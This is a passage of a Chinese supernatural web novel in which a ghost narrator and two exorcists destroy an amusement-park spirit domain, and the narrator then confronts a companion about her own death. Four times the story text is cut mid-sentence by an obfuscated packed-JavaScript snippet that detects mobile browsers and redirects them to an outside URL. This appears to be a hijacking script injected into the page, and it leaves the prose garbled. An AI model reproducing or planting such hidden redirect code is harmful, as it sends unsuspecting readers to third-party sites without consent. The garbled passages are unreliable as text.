以此为基础,从昨天下午到现在,我切除了这个游乐园里所有工作人员的恐惧,以便他们可以“无痛”地被混沌所吞噬。 至于我为什么要这样大费周章地做这样一件事情,原因也很简单。 这就是我所认为的,可以消抹掉这个游乐园中规则的方法。 死去之后,对规则依然抱有执念的夏依然化身成了这个游乐园赖以运行的规则,从此失去了作为残灵的形体,也变得无懈可击。 无形的存在,是无法被消灭的——这句话当然是错的。 规则并不是独立存在的,只有拥有相对于遵守规则的存在,规则才能称之为规则。 没有了遵守规则的人,再完善的规则,也不过是一段虚有其表的文字罢了。只要让这个灵域里所有可以遵守规则的存在统统消失,灵域的主人也将随之灭失,灵域也将不复存在。 轻车熟路地削除了简一冬情绪中的恐惧和痛苦,我叮嘱她:“效果大概能够维持30分钟。如果你没有能成功被混沌吞噬,30分钟后,可以再来找我。” “30分钟足够了。”她道,“10分钟也多余。” “嗯。”我点点头,从椅子上坐起来,“那我就先走了?这之后还有事情要做。” “再见。”简一冬朝我挥挥手,停了一秒,又喊住我,“还有最后一个问题。” 我转头看她,听到她的问话。 “七成把握,你认为成功有七成把握,依据是什么?” “因为管理员的存在。”我道。 “管理员拥有夏依然的部分意识,证明她是和这个灵域一同诞生的。但是在灵域诞生之初,既然还没有被管理的工作人员和游客,管理员存在的意义又是什么?” “我想,在诞生之初,她应该还不是管理员——但作为规则存在所必须的对应,她是作为‘遵守规则的人’而存在的。这就是为什么夏依然一定要分裂出一道自己的意志,以相对独立的形态存在于这个游乐园之中。” “管理员的存在本身,就佐证了我的猜测。” 随着我的话语,黑色的痕迹渐渐从简一冬的脖颈爬上她的脸颊——和陈自同一样,这是工作人员与游客谈论游乐园所付出的代价。 简一冬点点头,似乎是为了确认什么,神色终于带上释然:“原来如此。所以,当我这个最后的工作人员也‘死亡’,你要去做的事情就是……” “嗯,我要去找那个再次复活的管理员了。” 我笑笑,“事情发展到这个程度,我想,她应该也不会束手待毙吧。” 虽然嘴上说是七成把握,但对于规则将会以这种方式消灭,我认为其可能性应当在九成以上。 之所以还差两成,则是因为我并不确定,作为游客的我们三人,是否也被游乐园看作是“遵守规则的存在”。 从某种意义来讲,既然我们已经进入了游乐园,则也应当作为规则所束缚的存在。 但换一种角度思考,作为尚未死亡的游客,与连意识灭失都无法自行选择的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14429661|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作人员不同,规则对于游客的束缚是要弱小很多的——也就是说,即使出现在游乐园之中,作为游客,我们也未必可以支撑起规则的存在。 但结论到底如何,我也没有更好的方法可以去验证了。 一路思索着,我从马戏团离开,走向和姚千乐语约定的位置。 …… 此时此刻,正如苏吉光预料中一样,作为管理员部分而存在的夏依然,也已经到了不得不做出行动的时刻。 规则崩解正如大厦将倾,多年积累的一切,只需片刻便足以毁灭。如此境况下,她作为人类的理智也开始出现些许懊悔。这是一种十分陌生的情绪,在成为这片灵域的一部分后,她便再也没有品味过如此的滋味。 她来不及阻止工作人员的死亡,在她完成规则的修改之前,所有工作人员的死亡已经成为定局。但即便如此,她也还没有输。 作为管理员的她还存在,作为游客的那三个人类也存在。 夏依然相信这三人并不会像是已经死去的工作人员那样,甘愿为了这个灵域而赴死。 从阴影中渐渐形成自己的形状,她作为管理员再次复生了。 如同深渊的头部略微低落,身体做出一个类似于叹气的动作——以这种目的而出现,并非自己所愿,在她的想象中,本以为这种事情永远不会发生。 她将为了驱逐入侵者,亲手修改自己修订无数次,日趋近于完美的规则。 而为了达成这一目的,她必须在游乐园中覆盖以新的规则覆盖曾经的——如此之下,规则才能真正被修改,从而驱使混沌,杀死入侵者。 作为三个人类尚未踏足的区域,她可以肯定,三人一定会来到这里。 而她所最新修订的规则之中,踏足此处的游客,无论是否违反规则,是否沾染黑色印痕,都将遭受到混沌的攻击,不死不休。 一切都将尘埃落定。 此刻,她再次站在张贴着规则的设施门口。 犯过一次的错误,她不会再犯。在日渐模糊的、作为人类的记忆中,夏依然也能够回忆起,她是个不会重蹈覆辙的人。 那个人类女性,此刻正处在马戏团的门口,而两个人类男性,也正在与自己相隔千米的过山车之外。自己所处的位置,是安全的。 远处的纸张没有异常,是自己亲手所贴上去的。甚至于在她身边,也不存在任何类似于纸张,可能对她造成危险的存在。 远处,有诡异的轰隆声传来,管理员循声望去。 相隔百米外,地图上被大片抹黑的所在,混沌仿佛受到来自规则的触动,开始不断翻滚涌动,远看如同大片浓稠乌云,正酝酿着令人惊惧不已的能量。 属于这个游乐园的大雨即将到来。洗刷掉一切污垢,属于她的规则,属于她的游乐园,也将迎来新的篇章。 站在过往规则的面前,管理员手持着崭新的规则,将纸张覆盖了上去。 下一秒,土地震动。 有埋伏? 管理员早有准备,阴影正埋伏在不远之处,下一秒便从地面溢出,前来接应。然而阴影两相近在咫尺之际,地面却不知何时竟覆盖有某种奇怪的屏障,将管理员与阴影彻底隔开。 地面收拢,渐渐幻化成陌生且熟悉的样貌。 她所踏过的地面,竟然是一片巨大的纸张。 40. 风铃游乐园游客守则19 被纸张完全覆盖其中,管理员失去了行动能力。不消一分钟,三个入侵者便已出现在了管理员的面前。三人中那个安静瘦削些的,似乎拥有能够迅速移动的能力,她对此仍有印象。 此时,为首的年轻女人再次站在了管理员的面前。 这是一个丢进人群里,也很难被忽视的人类,无论第几次见到她,管理员都会产生这样的想法。超乎寻常的美丽容貌也不过是这种特殊的一部分,重要的是——她的眼神令自己感到不舒服。 分明自己才是这个乐园的主宰者,她凭什么拥有这样的眼神。如此从容,居高临下,仿佛一切都在她的预料之中,无论发生什么,都不会改变她的意志。 管理员心中不断涌出冷笑。 “你以为你要赢了?”她这样问道。 年轻女人歪着头故作茫然,反问她:“不然呢?” “即便我死了,灵域也不会随之消失的。”她道,“因为你们还在。” 年轻女人点点头:“我知道。所以,我也准备了让我们离开的方法。” 说着,她露出了一个十分灿烂的笑容,“结合陈自同的话,以及你曾经的经历,其实并不难猜测。” “虽然不知道你和史东风的恩怨究竟来自何处,但对于从来看重规则的你而言,违反社会既定规则、杀死他的那一刻,你已经抱有了迎接死亡的决心。怀有此种心态的你,才能彻底摆脱规则的束缚。” “所以,虽然并非是你的故意设计,但灵域本身也是你意志的体现——当游客认为自己即将死亡、彻底放弃求生想法之时,也就是可以脱出这个灵域的时刻。” 她说对了。 有名为恐惧的情绪从管理员的意志之中蔓延开来。 “你不说话,我就当是自己猜对了。”对方又说。 管理员已经不想回答,她还有更加重要的事情要做。没想到,对方竟然还有话要说,年轻女人脸上的笑容渐渐收起,连语气也恢复平静。 “就这样结束吧。”她轻声道,“这种追逐是没有意义的。” “不可能存在真正完美的规则。” “属于你的乐园中充满了情绪——你的恐惧,你的掌控欲,还有你的茫然。你相信规则能够主宰一切,用它将所有人困在囚笼之中,却又放任每一个人去涂改你所作出的规则,因为你知道,这些规则本身也并不是完美的所在,它们既是既定存在的规则,也是你心中即将沦为过往的消耗品。” “质疑属于这个社会的规则,质疑作为你赖以生存依据的规则,你将执念建立在这里。你试图找到真正的、能够永远承载你遵从欲望的规则。” 年轻女人摇摇头,“可是哲学王不存在、全知全能的神不存在。你也不是他们。你将自己变成规则,变成管理员,生活在为自己建立的乐园中,也永远不可能找到平静。” “你是来评价我的?”管理员终于开口。 年轻女人又笑了一下:“临别赠语。” “说得这么洋洋洒洒,你不会觉得自己很有智慧吧?”管理员冷笑出声,“先不论你是否真的胜券在握,自以为高高在上站在这里的你,也不过是生活在那些错误规则下的可怜虫罢了。” “或许是吧。”年轻女人垂了垂眼,似乎想到什么,微笑道,“但如果按照你所说的规则,我本来就是不应当出现的存在。” “但是没关系。” “与它们无关,我也有自己的规则。” 眼前这张漂亮的脸上,笑容实在是格外刺眼。 好在,自己很快就不用看到了,管理员心中念道。 原本是不想做到这一步的。但是也没有办法,管理员心道。 感谢这个自大人类对时间的拖延,在对话消磨的时间中,乐园中底层的规则、支撑着这里的一切终于被修改—— 出现在乐园中的人类,即是对规则的违反。一切混沌将聚集于此,惩戒抹除乐园中的人类。 游乐园终于被这群入侵者彻底破坏了,为了杀死入侵者,她不得不动用最后的底牌。在此之后,要花多长时间,才能重新将一切搭建起来呢?管理员不知道。 她仅能确定的是,乐园中的所有混沌足够将入侵者们吞噬得干净彻底,仿佛从未存在过。 乌云渐近,层叠的黑暗自远处逐渐放大。 混沌的存在感是如此强烈,失去规则的束缚,整个游乐园俱被恐惧笼罩。相隔百米,三人感受到巨大的动荡,纷纷转过头去,看到了自栖息处迅速逼近的混沌。 游乐园的半个天空陷入灰暗,连夏依然也不曾想到,自己收集的恐惧可以酿成如此的庞然巨物——这是无法被消抹、没有人类能够与之对抗的存在。 连管理员自己,也无法克制对那存在的恐惧。 即便已经失去身躯,她也能够感受到自己的颤抖。然而,下一刻,她却听到了难以置信的声音。 “果然来了。”年轻女人自言自语地说道。 那张令人厌恶的脸转向自己,说出了这样一句话,“谢谢你,按照我的想法,修改了规则。” 为什么,她会这样说? 这句话仿佛斩断管理员所有理智,她陷入了茫然。 一时间,所有思考思绪被纠葛缠绕阻塞住,停止运行。 自己中计了? 不可能。 不可能,他们根本不可能杀死自己。 三个入侵者的灵能力已经十分清楚。自己没有形体,单靠着切割或是对纸张的控制,只能束缚,而不能杀死自己。 之前自己在工作人员手下的死亡,是基于其中一人使用的火焰。 现在,那个工作人员已经死了。 他们不可能在短时间内杀死自己,脱出这个灵域。 此刻,混沌已经完全逼近,乐园中的一切都将被混沌席卷覆盖。巨大的纸张如同能够无限延伸,瞬间从一人的手中张开,将管理员与三人笼罩其中。 一切都变得昏暗,管理员发觉自己什么也看不清了。 失去周围的信息使她变得惶恐,那个令她厌恶并逐渐畏惧的声音再次响起。 那是带着笑意的、相对于年轻女人长相而言略显低沉的声音,她说出的话语就如同她的眼神一样,不容置疑、无法反抗。 “你看,混沌是不是将这里变成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14440650|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑夜?” 一切明晰。 管理员终于明白了。在这最后一刻,她感知到有特殊灵力覆盖在自己的形体之上,强势的力量碾压而过,将之彻底泯灭。 那个年轻女人早就铺垫好了一切。 她与自己对话,只是在等待自己修改规则,吸引所有的混沌前来杀死他们。 ——因为她担心自己会复活。 混沌是由恐惧而生成,故而自己虽然形似混沌,却无法在混沌横行的夜间活动——为了防止自己在被消抹后迅速复活,他们引诱自己扭曲底层规则,召来所有的混沌,将这里从白天变成了“黑夜”。 即使被抹杀,自己也无法迅速复活,支撑起规则的存在。 这里即将…… 思维终于熔断。她消失了,并将永远失去复活的机会。 ………… 混沌将这里彻底围拢,一层、两层、三层,乃至更多的纸张,才能抵挡住它们的渗入。 “一栋楼都没有这么重。”乐语抱怨道。 “行了,很快了。” 我摸索着,操纵片羽,切去了姚千情绪中的求生意志,于是他整个人迅速从我的视野中消失了。 如法炮制,切断我和乐语情绪的同时,陌生的失重感涌上我的感知,支撑着混沌的纸张迅速失去灵力,颓扁下去,穿过我的最后一缕意识。 再睁开眼睛,我看到了青蓝的天空。 转转头,属于人类身体的操纵感彻底消失,我有些遗憾地飘回了地面。 姚千出来还要早一步,看我清醒过来,问道:“没有受到混沌攻击吧?” “还好。”我答,“就是有些伤眼。”无论第几次见到混沌,这扭曲的存在对精神状态都具有不可估量的损害。 姚千反应了一秒,才明白我的意思,轻声道:“那真是辛苦了。” 我们此刻所在的位置正在游乐园的大门处,由此朝游乐园内部望去,内里一派正常,正如同我们刚来到门口时朝里看到的景象。 灵域消失了吗?单是这样看,我也无法确定,只见乐语恍若无事地走上前去,就要往大门里面进。 姚千一把拽住他:“你干什么?” 乐语眨眨眼,理所当然道:“我进去确认一下。” 姚千看上去有点无语:“如果灵域还没有消失,你这样进去就出不来了。” 乐语愣住,瞪着的眼眨了眨,突然恍然大悟地看向我,“我的求生意识!” 我也想起来了,乐语之所以做出这种看起来不顾后果的愚蠢举动,是因为我刚刚切掉了他求生的欲望,导致他下意识忘记了对自身安全的关注。 乐语询问我:“还能缝起来吗?” “你以为我是什么……”我汗颜,“切掉当然就没有了。你再酝酿酝酿,估计很快就能恢复了。” “好吧。” 乐语想了想,从口袋里又抽出一张纸,纸张迅速延伸,扩大成小狗大小、圆头圆脑的一片纸人,晃晃悠悠地闪进了大门之中。 在我们的注视下,小纸人在原本的灵域内外走了个三进三出。 灵域已经消失了。 41. 风铃游乐园游客守则20 一切尘埃落定,我在大门外飘了三圈,适应着自己的灵体,听乐语跟邓科长打电话描述情况,又看到乐语让姚千看着自己,以免他一时想不开干点什么傻事。 姚千不太想答应他:“……你自己看着自己吧。” 邓科长赶到的速度快得出乎意料,就像他们原本就在这里蹲守值班——这样想也正常,毕竟根据之前的经验,进入三天左右,就会在游乐园附近发现幸存者或者尸体了。今天正将是我们进入的第三天。 邓科长脸上难掩高兴,看上去蛮成熟稳重的一个人上来就要和我们挨个热情握手,还差点忘了我是残灵,没手可握。 我轻咳一声。 邓科长由此恢复正常神志,使用场面话高度赞扬了我们的业务能力,随后认真道:“关于灵域内的情况,和此次的过程,我们这边也需要详细的记录……” “我来吧。”我自告奋勇。 意料之外的是,邓科长并没有立刻答应,我刚有些奇怪地看向他,却见乐语接上了话:“还是我吧,你应该也累了。” 我当然不累,不如说刚刚经历过这些,情绪中被调动起的兴奋感尚未完全褪去,正想与人分享。但此时此刻,邓科长的意思我当然也已经察觉出来。 他并不希望我在这里出现的时间太长。 一个久违了的认知突然闪过我的脑海——正如同在我流浪时,会给寄居的人家带来疾病,邓科长当然也担心和我待在一起的时间延长,对他产生影响。 这当然也无可厚非。我有些郁闷地说违心之语:“对,我累了。” 坐上回程的车之前,现场还有部分确认工作需要处理。乐语说害怕自己再干出点什么不理智的事情,暂且留在了车里,我也自觉回避了邓科长和他带来的几个处理善后事宜的其他工作人员,和乐语一起留在了车里。 我闷闷不乐,蹲在车顶上。 乐语有点好笑地从车窗探出脑袋,喊我:“别难过了,过来聊聊天吧。” 我从车顶穿过,落回车里,问他:“不怕残灵残害你的健康?” 他十分大方:“没事,忍一忍就过去了。” “……” 我好奇道,“所以说,作为驱灵师,你们对残灵也没有抗性吗?” “说有算是有一些吧,但也不能完全消除。”他道,“就算再强大的驱灵师,也不能太长时间和残灵待在一起的。” 我怔了怔,奇怪道:“不是也有驱灵师带着残灵一起工作么?” “一起工作,又不是一起生活,当然是不会一直待在一起的。”乐语看我,“怎么了?” “……没什么。” 我回想起前来这里前,姚千生的那场不大不小的病。 乐语打量我的表情,眉头略挑,随即换了个话题:“我留在这里,其实是有话想跟你说。” 我走着神,心不在焉地回:“什么?” “你不是想了解你身亡的那次事件吗?” 乐语这句话成功吸引了我的注意力,我想起与他刚见面时,我曾经问过的这个问题。但当时乐语说自己并不了解——说这句话时,他的眼神明显瞥向了姚千。 “这件事情与姚千有关?”我问。 乐语笃定道:“当然,姚千是那起事件唯一的幸存者。” 如果我此刻仍然拥有人类身体,呼吸大概会因为惊讶停滞两秒。 “得知你的死讯后,我调查过这件事情。得到的情报并不算多,大多数有关人员给我的回答都是:不要多问。”乐语神色陷入回忆,带着少见的严肃。 “细节部分打听不到,但是驱灵师的生死总是瞒不过人的,那件事里死了很多驱灵师,大多都是官方的人员,虽然没有公开,但后续的影响相当恶劣。” “等等……什么叫官方的驱灵师?”我问。 “官方当然也有自己的组织,简单来说,就是有编制。”乐语道,“有固定且高昂的工资,比起我和姚千这种临时接任务的要稳定许多。于此相对应的坏处就是,一些任务是不能拒绝的。” 我哦了一声,想到什么:“既然姚千是当年那起事件的幸存者,你也认识他,当初就没有问过他么?” “他失踪了。”乐语意简言赅,“当时我找不到他。” “找不到?”我意外道,“他不是驱灵师吗?而且20多岁时,他应该也还没有大学毕业。” “我去过你们的学校,他休学了,作为驱灵师的任务也时隔一年才重新开始接的。” 乐语语气认真了些,“在此之后,我继续调查,直到一个内部人员告诉我……如果不是姚千,你们这些驱灵师,原本可以不必死的。” 我沉默了。 这句话其实可以有两种解释,我心道,一种是因为姚千的失误,害死了我们。另一种,则是故意…… 但既然姚千没有被抓起来明正典刑,说明,那人的意思应当是第一种可能。 “可靠吗?”我忍不住怀疑。 “我讲给你,当然是认为这消息来源可靠。”乐语歪头,“当然,我也可以将他的个人信息发给你,你自己去找他验证。” 我真心实意地惊叹:“我可是残灵……你倒真不拿别人当人看。” “不至于,毕竟这也是相关从业者。”乐语那张生得十分阳光且亲切的面庞上露出微笑,“你又不会对他造成什么人身威胁。” “再说吧。”我摆了摆手,突然觉得有些疲惫,“我再考虑一下。” “好。” 乐语也没有多说什么,想了想又补充道,“之后有任何事情,都可以来找我。如果你不想在姚千那里,想找一个住处,我也可以帮你安排。” 这算是就业邀请?我点点头:“好,我记下了。” 这个话题算是就此结束,我很快想起了另一件事,指了指车里的背包:“对了,从灵域离开前,我把背包交给你们了。” 离开灵域后,回归残灵状态的我再次失去了拿取物品的能力。 “有什么要拿的吗?”乐语听从我的指示,打开背包夹层,从里面取出了一张纸。 纸张不新,被叠了两叠,上面是一串蓝色圆珠笔写就的人名,有的被划掉了,但依稀也能看出被划掉之前的字符。 “这是简一冬确认人员时用过的名单。”我道,“被划掉的,就是我们进入时,已经被吞噬的。” “让我交上去?”乐语问。 我说:“不然是拿来给你留作旅游纪念的吗?” “……” 乐语看着这张不大的纸,神色明显黯淡了些,语气郑重地应了一声,“我会交过去的。” 他将纸装回自己外套的口袋,顺口问,“简一冬给你的?” “削除她情绪之后,跟她要的。”我说。 乐语自顾自笑了一声,摇摇头:“十年前的你也是这样的。” “如果是当年的我,可能也会很在意。”他略带感慨地道,“但毕竟过去了这么久,即便是入行最晚的姚千,做驱灵师的时间也已经超过十年了。” “只有你还留在这个年纪。” “是啊。”我叹气,“我也好想活到你们这个岁数。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14449132|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 说完这句话,我心中一动,朝乐语宣布喜讯,“啊,刚才被切断的求生念头看样子长回来了。” 这次又是我和姚千提前离开,当然姚千本人回去之后,也是要写相关报告材料的,并不是可以直接甩手走人。 没在这里过多停留,我和姚千坐了时间最近的动车,凌晨到站。 到家时,姚千作为人类,明显已经有了疲惫之色,洗漱完便回到卧室,大概是大睡特睡去了。而我自然是不必这么麻烦,既不需要洗漱,也不会疲累。 倒不如说,此时的我心中千头万绪,想休息也没有心情。 打开我房间里的电脑,我按照简一冬给我的网站和账号,打开了他们口中的论坛。 和姚千相处了这么长时间,他从来没有向我提到过这个论坛的存在,通过普通的搜索媒介也无法查询到这个网站的内容,如果不是乐语和简一冬偶然说起,我直到现在大概还对这个论坛一无所知。 单单是这个举动,便已经十分可疑。更何况他分明就是致我死亡那次事件的唯一幸存者,世界上应该再没有人类比他更加了解我的死因。但在我的多次询问下,他仍然推说不知。 隐瞒到这种程度,就算查到姚千就是杀死我的真凶,我也不会太过于奇怪的。 原本我只是好奇于到底是怎样的残灵杀死了我,而现在,我已经不得不承认,致使我死亡的那起事件,多半并不简单——甚至可能不是一场单纯的意外。 论坛界面在我面前打开,热热闹闹一派繁荣,从最新发帖的时间来看,在线人数还不算少。简单翻了翻,大概分成几个板块,有交流任务情况的,有讨论灵能力使用的,也有唠八卦日常的,甚至还有“从零开始的驱灵师,任务记录帖——不更新就是死了”这种标题,最新更新时间在8分钟前,看上去是还没有死。 大概转了几个帖子,点击搜索框,我思索几秒,在框里打出了两个关键词。 苏吉光、死 点击回车,一竖排搜索结果出现在我面前,足足有十多条。 滚轮翻了翻,底下显示还能翻页。 我:……是否太多了? 仍然抱有一些大概不全是和我有关的侥幸心理,我开始浏览搜索结果。 搜索结果是按时间排列的,最前面是一个2个月前的发帖。 关键词捕捉到的句子: ——四点线索全面论证姚千正是杀死苏吉光的真凶 ——苏吉光死去八年,八二一事件现在解禁了吗? ——苏吉光的灵能力没出现在姚千手上,她的死就和姚千没关系? …… 我再次沉默了。 接下来的时间,我开始深入领会大家对我死亡事件热情洋溢的探讨。 实在是没想到,鄙人人虽然死了,故事却流传下来,还给大家创造了这么多茶余饭后的聊天话题,也实在算是某种意义的燃尽自我了。 我想笑又有点笑不出来,正细细阅读品味之际,突然间,一种怪异的感知出现在了我的意识中。 有灵能力的涌动,算不上完全陌生,却也一时想不起到底在哪里感知过。 几乎没有任何犹豫,触动意识的同一时刻,片羽便已破空而出,朝着灵能力的来源方向直直而去,插入了门框之中。 我转过身,看到属于我卧室的门露出半条缝隙,被片羽卡主,无法合上。 方才进屋时,我确认过了,我的门是关好的。 门外之人意识到自己已经被发现,只好推开了门。 我和姚千面面相觑。 42. 驱灵师之死01 看着姚千那张面无表情的脸,我转过脑袋,瞥一眼自己的屏幕右下角,凌晨两点。 “……你不困吗?”我真诚地问他。 姚千脸上带着十分的明显的疲惫,但还是坚称:“还不困,看你房间亮着灯,就来看看。” 他这话实在是缺乏逻辑。首先我在这里住了那么长时间,他从来没这样偷摸地开过我的门。不得不说姚千也算得上是一个尊重残灵隐私之人,虽然说话不招人喜欢,种种举动都还是十分客气礼貌的。 何况——我扯扯嘴角,道:“你还要特地用灵能力悄悄开门?” “……” 姚千沉默几秒,“怕打扰你休息。” 我认为就算哪天有残灵把他整个吃了,也会剩下这张过于坚硬以致难以下咽的嘴。 我一时无语,难得地有点不知道要说点什么,又看到姚千这一贯行径十分端正的人,眼睛正往我身后的电脑屏幕上瞄来瞄去,实在是有些鬼祟。 我让开电脑,大大方方给他看:“来看看吗?” 姚千看到屏幕上对我死因的八卦猜测,还有他在此话题中高频出现的名字,陷入了短暂的沉默。 “对不起。”他开口,语气冷静地选择了道歉。 我眯眼打量他:“什么?” “我一直没有跟你提到过这个论坛。”他将门又推开了点,问,“我可以进来吗?” 此人刚才还在试图用灵能力窥探这个房间,现在又装成尊重他人隐私的道德楷模了。 一分钟后,姚千经过允许,坐在门侧的椅子上,继续他缺少表情的忏悔:“这些帖子我看过,所以不想让你看到这些。” 这我倒是相信。方才我已经大略浏览了众多帖子,其中最甚嚣尘上的言论,莫过于是姚千害死了我和其他的官方驱灵师。 这种猜测也有其坚实的理论依据。首先,姚千的灵能力在论坛里并不是秘密,除了能够获取残灵的灵能力,也有一定机会获取即将死亡的灵能力者的灵能力。 其次,姚千作为幸存者归来后,根据和他在任务中合作的驱灵师所说,姚千原本复制的灵能力,少了一个。 以此作为基础,可以推论,从致我死亡的那次事件(论坛中将其称之为八二一事件)中,姚千获得了一个新的灵能力。由于在同一时期复制的灵能力具有数量上限,这就导致他在取得新能力时,必须抛弃原本的一项灵能力。 至于姚千为什么不使用自己新复制的灵能力,原因恐怕很简单,那就是这项灵能力一旦使用,很容易被人发现——毕竟在八二一事件中死去的几个灵能力者,他们的灵能力都是什么,经常混论坛的大家几乎都有所耳闻。 姚千不能在他人面前使用这项能力,恐怕因为这项能力,正是在灵能力者濒死之际趁人之危复制来的。 何况,在八二一事件中,众驱灵师本身就是被残灵所害死的,说明在这起事件中并不存在被消灭的残灵,姚千除了复制除灵师的能力,又是从哪里复制了新的灵能力? 这进一步佐证了姚千复制他人灵能力的事实,也说明了姚千在这次事件中意图不纯,极有可能是正是导致此次事件的帮凶之一。 上述的一切当然是论坛里的讨论。 但不得不说,如果论坛中所说的前提事实是正确的,那么这种推论当然存在其合理性。 我看向姚千,等待其给出一个合理的解释。 为什么一直隐瞒自己幸存者的身份? 我到底又是因何死亡的? 姚千看着我,似乎进行了短暂的思索,随后,有灵能力突然在这个安静的小房间内波动起来。它没有产生任何能够为我所见的效果,只是安静地释放着灵能力,昭示着其存在。 我感受着灵能力的波动,这是一种十分古怪的感觉。我确信在我短暂的残灵记忆中,是第一次接触到这种灵能力,然而此种灵力却又亲切和熟悉得不同寻常,仿佛就是我自己的灵能力,正是从我的情绪中剥离出来,组成了这种波动。 灵能力转瞬即逝,维持了十秒不到,姚千问我:“感觉到了吗?” “什么?”我道。 “刚才我使用了那个灵能力,”姚千顿了顿,“也就是论坛中所说,我在那次事件后,拥有的灵能力。” 我问:“它的作用是什么?” “没有作用。”姚千轻轻摇头,“这个灵能力太弱小了,无论是对人类,还是对残灵,都不能起到任何作用——所以我没有在其他人面前使用过这个灵能力。” “太弱小?”我重复一遍。 “我的灵能力,是在残灵或灵能力者死去的那一刻,依据残留且正在消散的灵能力,复制成为我可以使用的能力。”姚千解释道,“所以残灵或灵能力者自身使用这项灵能力的上限,也限制着我所复制灵能力的上限。” 他垂下眼,似乎在掩饰自己无法平静的神色,“也就是说,我所复制的这个灵能力者,原本也不能使用这项灵能力,所以我也无法使用。” 我觉得他的语气有些古怪,但是没有追问下去,思考一秒,问出了另一个问题。 “既然这个灵能力如此弱小,你能够复制的灵能力数量又有限,为什么还要保留着它?其实可以替换成更有用处的能力吧?” 姚千听到这句话,轻轻笑了一下。他已经显得相当疲倦,这样一笑,也不见愉快,反倒是有些伤感:“你没有发觉啊?” “它就是从你消逝魂灵中剥离出的灵能力。” 我愣住了,片刻才好像很傻地问出一句:“我的?” “等等,”我说,“可是我还活着?——我的残灵还在,说明我作为驱灵师的灵魂没有完全消失。” “何况,这又是什么能力?我生前的灵能力,除了片羽外,不是一只陪伴我的大狗么——那这又是什么?” 姚千看着我问出一串问题,摇了摇头:“我之前没有骗你。” “在事件发生后不久,我就无法再回忆起那件事情的始末了。医生说,这是一种自我防御机制,是我的潜意识在回避于此相关的所有记忆。” “或许你也看到了相关的消息,那起事件之后,我休学在医院住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14459397|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了半年。”姚千平静道,“就是因为这件事情。” 我定定地看着对方,试图想从他的表情中获得更多的讯息,判断他所说一切的真实程度。 “为什么?”我说,“那时候你也已经做了几年驱灵师了吧,死亡在灵域里也并不是那么少见的东西。” “刺激我的不是死亡。”姚千道,“我想,是更加难以跨越的东西。” “比如说错误。” “我不能原谅的,或许并不是残灵,而是自己。或许我在那起事件中做出了错误的选择,又或者是我的疏忽大意,才导致了现在的结果。” “只有忘掉它们,覆盖掉错误存在的痕迹,才能自欺欺人地继续生活。” “如果你真的想要知道当年到底发生了什么,我也可以用灵能力,或者其他的方法,尽量将当年的事情还原出来。” 最后,姚千看着我,这样说。 其实我很想答应这个提议,让我可以了解到真相——但这话实在是很难说出口,而且逼迫一个因为创伤后应激障碍已经忘记受伤经历的人,把事情重新回想起来,多少也违背人类通用的道德规范。 似乎看出我的想法,姚千道:“没事的,或许八年前令我无法接受的情况,现在再次回想起来,刺激并不会有那么大了。” “不必了。”我拒绝道。 “好奇心如果非要用这种方式来满足……那多少也太没趣了。” “在你说出刚才的解释之前,我其实还挺好奇的。但如果的确如你所说,是一个有关于错误的遗憾,这样的故事实在是令人缺少探究的欲望。” “何况现在的我,也不太想知道究竟是什么残灵杀死了自己。”我想了想,“至少要等我再强大一些吧。” 姚千嗯了一声,仿佛是接受了这个答案,看不出松了口气的样子,恢复成无法观测的状态。 我歪头打量着他,突然道:“所以,你为什么半夜来推我的门?” 姚千的表情终于凝滞一秒,似乎是找借口而未遂,最后用一种破罐子破摔的语气回道:“我怕你已经走了。” “走?去哪里?” 姚千道:“今天你和乐语留在车里时,乐语是不是跟你说过什么?” 那确实……说得挺多。 当然这些我不会跟姚千说明,只见姚千有些失落地继续道:“他是不是跟你说,如果不想留在这里,他可以给你找地方住?” 合着他最在乎是这一点吗? 我额了一声,道:“确实说过。” 姚千垂着眼,怎么看怎么有种“我就知道”的意味。 我实在是看不懂此刻的氛围,只好解释道:“可我也没打算走……我有自己的打算。” 姚千追问:“什么打算?” 没见他接话这样快过,我心中吐槽,叹了口气。 